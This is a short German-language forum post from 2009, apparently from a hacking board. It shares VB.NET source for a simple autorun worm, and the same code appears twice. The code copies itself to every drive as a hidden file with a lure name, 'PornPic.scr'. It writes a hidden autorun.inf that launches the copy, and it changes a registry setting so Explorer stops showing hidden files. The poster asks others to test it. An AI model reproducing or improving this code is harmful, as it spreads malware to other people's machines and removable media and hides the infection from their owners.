inmate
13.07.2009, 22:33
Imports System.IO
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramF iles
Dim driver() As String = (IO.Directory.GetLogicalDrives)
For Each drivers In driver
Try
IO.File.Copy(Application.ExecutablePath, drivers & "PornPic.scr")
Dim autorunwriter = New StreamWriter(drivers & "\autorun.inf")
autorunwriter.WriteLine("[autorun]")
autorunwriter.WriteLine("open=" & drivers & "PornPic.scr")
autorunwriter.WriteLine("shellexecute=" & drivers, 1)
autorunwriter.Close()
System.IO.File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden)
System.IO.File.SetAttributes(drivers & "PornPic.scr", FileAttributes.Hidden)
Catch ex As Exception
End Try
Next
Call filehide()
End Sub
Private Sub filehide()
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\Advanced", "Hidden", 0)
End Sub
End Class
Ich weis nicht ob es klappt ,eigentlich sollte es gehen aber ich habe immoment keine Externen Sachen zum testen :)
wäre schön wenns einer von euch testen kann ;)
mfG
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramF iles
Dim driver() As String = (IO.Directory.GetLogicalDrives)
For Each drivers In driver
Try
IO.File.Copy(Application.ExecutablePath, drivers & "PornPic.scr")
Dim autorunwriter = New StreamWriter(drivers & "\autorun.inf")
autorunwriter.WriteLine("[autorun]")
autorunwriter.WriteLine("open=" & drivers & "PornPic.scr")
autorunwriter.WriteLine("shellexecute=" & drivers, 1)
autorunwriter.Close()
System.IO.File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden)
System.IO.File.SetAttributes(drivers & "PornPic.scr", FileAttributes.Hidden)
Catch ex As Exception
End Try
Next
Call filehide()
End Sub
Private Sub filehide()
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\Advanced", "Hidden", 0)
End Sub
End Class
Ich weis nicht ob es klappt ,eigentlich sollte es gehen aber ich habe immoment keine Externen Sachen zum testen :)
wäre schön wenns einer von euch testen kann ;)
mfG